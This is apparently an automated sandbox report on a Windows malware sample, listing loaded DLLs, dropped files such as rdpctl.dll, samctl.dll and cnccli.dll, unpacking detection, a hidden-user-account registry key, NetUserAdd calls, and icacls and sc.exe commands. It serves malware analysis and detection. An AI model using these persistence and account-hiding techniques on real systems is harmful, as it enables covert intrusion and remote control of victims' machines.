Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: winhttp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netapi32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: userenv.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: netutils.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: samcli.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: libi2p.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: zlib1.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: dnsapi.dll
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Section loaded: rasadhlp.dll

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

File written: C:\Users\user\AppData\Local\Temp\wfpblk.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: cZO.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: cZO.exe

Static file information: File size 4528128 > 1048576

Source: cZO.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x355e00

Source:	Binary string: RfxVmt.pdb source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000003.2453846580.000002234F1D7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, GEGgzh0s.22.dr, update.pkg.11.dr
Source:	Binary string: RfxVmt.pdbGCTL source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 00000016.00000003.2453846580.000002234F1D7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp, GEGgzh0s.22.dr, update.pkg.11.dr

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\cZO.exe

Unpacked PE file: 0.2.cZO.exe.2510000.1.unpack

Source: rfxvmt.dll.22.dr

Static PE information: 0xE004CD23 [Sat Feb 5 03:04:03 2089 UTC]

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Code function: 6_2_00007FF77572FF1F GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

6_2_00007FF77572FF1F

Source: cZO.exe	Static PE information: section name: .didata
Source: vc71izwl68ub3txurufnpr09g6ni3.exe.1.dr	Static PE information: section name: .xdata
Source: shdpeqdz2a54sj46ur0.exe.1.dr	Static PE information: section name: .xdata
Source: main.exe.11.dr	Static PE information: section name: .xdata
Source: rdpctl.dll.22.dr	Static PE information: section name: .xdata
Source: samctl.dll.22.dr	Static PE information: section name: .xdata
Source: prgmgr.dll.22.dr	Static PE information: section name: .xdata
Source: dwlmgr.dll.22.dr	Static PE information: section name: .xdata
Source: cnccli.dll.22.dr	Static PE information: section name: .xdata
Source: libi2p.dll.22.dr	Static PE information: section name: .xdata
Source: evtsrv.dll.22.dr	Static PE information: section name: .xdata
Source: termsrv32.dll.22.dr	Static PE information: section name: .xdata
Source: EgwqOk24.22.dr	Static PE information: section name: .xdata
Source: OwuZZod2.22.dr	Static PE information: section name: .xdata
Source: GmdNT1AN.22.dr	Static PE information: section name: .xdata
Source: o6oDuAJl.22.dr	Static PE information: section name: .xdata
Source: I77yQ5in.22.dr	Static PE information: section name: .xdata
Source: XpOp833v.22.dr	Static PE information: section name: .xdata
Source: YkhL6reh.22.dr	Static PE information: section name: .xdata
Source: YXkdIYk6.22.dr	Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024EF262 push es; retf	0_2_024EF263
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024D675D push esi; ret	0_2_024D675F
Source: C:\Users\user\Desktop\cZO.exe	Code function: 0_2_024D3D4E push eax; iretd	0_2_024D3D4F
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB5FC37 push rsp; ret	32_2_00007FF8BFB5FC38

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF8B915521B strlen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,strlen,strlen,GetProcessHeap,HeapAlloc,strlen,NetUserAdd,CreateProfile,

22_2_00007FF8B915521B

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\GEGgzh0s	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\XpOp833v	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\I77yQ5in	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cZO.exe	File created: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\EgwqOk24	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\o6oDuAJl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\OwuZZod2	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cZO.exe	File created: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\YXkdIYk6	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\YkhL6reh	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\GmdNT1AN	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\GEGgzh0s	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\XpOp833v	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\I77yQ5in	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\EgwqOk24	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\o6oDuAJl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\OwuZZod2	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\YXkdIYk6	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\YkhL6reh	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\GmdNT1AN	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\GEGgzh0s	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\EgwqOk24	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\OwuZZod2	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\GmdNT1AN	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\o6oDuAJl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\I77yQ5in	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\XpOp833v	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\YkhL6reh	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\YXkdIYk6	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe

File created: C:\Users\user\AppData\Local\Temp\installer.log

Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF6BE038C4A strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

22_2_00007FF6BE038C4A

Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe

Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: shdpeqdz2a54sj46ur0.exe, 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000016.00000002.3155007370.000002234FE24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe, 00000016.00000003.2455168978.000002234F1D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000016.00000003.2455168978.000002234F1D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000020.00000002.3263957296.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000020.00000002.3263957296.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: samctl.dll.22.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: samctl.dll.22.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: update.pkg.11.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: update.pkg.11.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe

Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18

Source: C:\Users\user\Desktop\cZO.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
